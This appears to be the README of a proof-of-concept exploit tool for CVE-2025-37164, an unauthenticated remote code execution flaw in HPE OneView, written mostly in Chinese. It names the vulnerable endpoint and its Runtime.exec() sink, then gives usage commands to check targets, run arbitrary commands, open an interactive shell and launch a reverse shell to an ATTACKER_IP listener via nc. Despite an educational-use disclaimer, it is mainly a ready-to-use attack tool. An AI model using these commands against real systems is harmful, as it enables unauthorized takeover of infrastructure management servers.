这是 CVE-2025-37164 的概念验证(PoC)利用程序,该漏洞是 HPE OneView 中的一个严重(CVSS 10.0)未认证远程代码执行漏洞。
本软件仅供教育和授权安全测试目的使用。
技术分析:该漏洞存在于 PUT /rest/id-pools/executeCommand 端点中,该端点无需认证,并将用户控制的输入直接传递给 Runtime.exec()。
requests 库(pip install requests)# Test if target is vulnerable
python3 cve-2025-37164.py -t http://target-ip --check
# Execute a single command
python3 cve-2025-37164.py -t http://target-ip -c "id"
# Interactive command shell
python3 cve-2025-37164.py -t http://target-ip -i
# Attempt reverse shell (requires listener)
# On attacker machine: nc -lvnp 4444
python3 cve-2025-37164.py -t http://target-ip --lhost ATTACKER_IP --lport 4444